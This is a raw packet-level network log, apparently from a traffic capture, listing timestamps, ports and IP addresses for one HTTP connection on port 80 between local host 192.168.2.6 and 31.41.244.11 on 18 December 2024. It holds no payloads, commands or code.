Dec 18, 2024 11:47:48.292248011 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:48.292259932 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:48.292283058 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:48.292298079 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:48.293365002 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:48.293400049 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:48.293483973 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:48.293513060 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:48.294688940 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:48.294703007 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:48.294724941 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:48.294744015 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:48.295857906 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:48.295871019 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:48.295896053 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:48.295912981 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:48.297008991 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:48.297024965 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:48.297049999 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:48.297084093 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:48.297955990 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:48.297982931 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:48.297988892 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:48.298019886 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:48.299061060 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:48.299072981 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:48.299099922 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:48.300214052 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:48.300292969 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:48.300836086 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:48.300893068 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:48.301578045 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:48.301609039 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:48.301628113 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:48.301661015 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:48.302598953 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:48.302686930 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:48.302694082 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:48.302726030 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:48.303858042 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:48.303901911 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:48.304049969 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:48.304083109 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:48.305011988 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:48.305063009 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:48.305095911 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:48.305095911 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:48.306164026 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:48.306175947 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:48.306206942 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:48.306216955 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:48.307440042 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:48.307452917 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:48.307491064 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:48.307522058 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:48.308536053 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:48.308577061 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:48.308609962 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:48.308644056 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:48.309753895 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:48.309766054 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:48.309798002 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:48.310673952 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:48.310712099 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:48.310767889 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:48.310801983 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:48.311815023 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:48.311827898 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:48.311855078 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:48.311866045 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:48.312762022 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:48.312789917 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:48.312803984 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:48.312818050 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:48.313711882 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:48.313754082 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:48.313781977 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:48.313832045 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:48.314733982 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:48.314774036 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:48.314910889 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:48.314945936 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:48.316018105 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:48.316052914 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:48.316164970 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:48.316195011 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:48.317236900 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:48.317250967 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:48.317272902 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:48.317286968 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:48.318469048 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:48.318509102 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:48.318656921 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:48.318694115 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:48.319444895 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:48.319479942 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:48.319480896 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:48.319514990 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:48.320739031 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:48.320780039 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:48.320805073 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:48.320843935 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:48.321868896 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:48.321914911 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:48.321924925 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:48.321948051 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:48.323015928 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:48.323029041 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:48.323084116 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:48.323084116 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:48.324162960 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:48.324176073 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:48.324208975 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:48.324229002 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:48.325278997 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:48.325293064 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:48.325335026 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:48.326455116 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:48.326467991 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:48.326555967 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:48.327585936 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:48.327611923 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:48.327627897 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:48.327658892 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:48.328773022 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:48.328785896 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:48.328835011 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:48.329890013 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:48.329937935 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:48.330079079 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:48.330116034 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:48.331095934 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:48.331152916 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:48.331202030 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:48.331248045 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:48.332252979 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:48.332279921 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:48.332298040 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:48.332334995 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:48.333504915 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:48.333554029 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:48.333554983 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:48.333585978 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:48.334623098 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:48.334667921 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:48.334726095 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:48.334764957 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:48.335827112 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:48.335869074 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:48.335871935 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:48.335905075 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:48.336900949 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:48.336922884 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:48.336986065 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:48.337074995 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:48.338119984 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:48.338164091 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:48.338284016 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:48.338319063 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:48.339363098 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:48.339375973 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:48.339413881 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:48.340538025 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:48.340612888 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:48.340663910 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:48.340696096 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:48.341700077 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:48.341711998 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:48.341742992 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:48.341758013 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:48.342835903 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:48.342850924 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:48.342881918 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:48.342906952 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:48.343997955 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:48.344008923 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:48.344044924 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:48.345339060 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:48.345351934 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:48.345386028 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:48.345412970 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:48.346272945 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:48.346314907 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:48.476552963 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:48.476613045 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:48.476660967 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:48.476686954 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:48.477148056 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:48.477161884 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:48.477188110 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:48.477207899 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:48.478310108 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:48.478360891 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:48.478777885 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:48.478790998 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:48.478813887 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:48.478831053 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:48.479938030 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:48.479949951 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:48.479991913 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:48.481136084 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:48.481168985 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:48.481177092 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:48.481214046 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:48.482208014 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:48.482254028 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:48.482276917 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:48.482312918 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:48.483413935 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:48.483427048 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:48.483460903 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:48.483478069 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:48.484638929 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:48.484663010 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:48.484761000 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:48.485929012 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:48.485940933 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:48.485975981 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:48.485986948 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:48.487093925 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:48.487137079 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:48.487251043 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:48.487432957 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:48.488498926 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:48.488512993 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:48.488538980 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:48.488564968 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:48.489453077 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:48.489490032 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:48.489701033 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:48.489741087 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:48.490587950 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:48.490628958 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:48.490632057 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:48.490663052 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:48.491960049 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:48.491971970 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:48.492000103 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:48.492018938 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:48.493120909 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:48.493134022 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:48.493159056 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:48.493182898 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:48.494462013 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:48.494473934 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:48.494508982 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:48.494519949 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:48.495726109 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:48.495740891 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:48.495770931 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:48.495784044 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:48.497133970 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:48.497148991 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:48.497173071 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:48.497186899 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:48.497972965 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:48.498008013 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:48.498070002 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:48.498111010 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:48.498953104 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:48.498965025 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:48.498990059 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:48.499012947 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:48.499928951 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:48.499957085 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:48.499967098 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:48.499993086 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:48.500974894 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:48.501014948 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:48.501019955 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:48.501051903 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:48.502109051 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:48.502127886 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:48.502147913 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:48.502161980 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:48.503372908 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:48.503385067 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:48.503421068 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:48.503433943 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:48.504456043 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:48.504496098 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:48.504544020 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:48.504582882 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:48.505659103 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:48.505671024 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:48.505702972 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:48.505714893 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:48.506791115 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:48.506830931 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:48.506989956 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:48.507025957 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:48.508002996 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:48.508066893 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:48.508097887 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:48.508140087 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:48.509394884 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:48.509433985 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:48.509454966 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:48.509490013 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:48.510662079 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:48.510674000 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:48.510710955 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:48.511665106 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:48.511713982 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:48.511749983 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:48.511789083 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:48.512717009 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:48.512761116 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:48.512820959 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:48.512857914 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:48.513973951 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:48.513987064 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:48.514018059 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:48.514029026 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:48.514942884 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:48.514978886 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:48.515125036 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:48.515161991 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:48.516161919 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:48.516174078 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:48.516202927 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:48.516218901 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:48.517318010 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:48.517360926 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:48.517378092 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:48.517409086 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:48.518496037 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:48.518537045 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:48.518567085 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:48.518610001 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:48.519762993 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:48.519783974 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:48.519798994 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:48.519813061 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:48.520832062 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:48.520843983 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:48.520865917 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:48.520885944 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:48.522007942 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:48.522046089 CET	49878	80	192.168.2.6	31.41.244.11
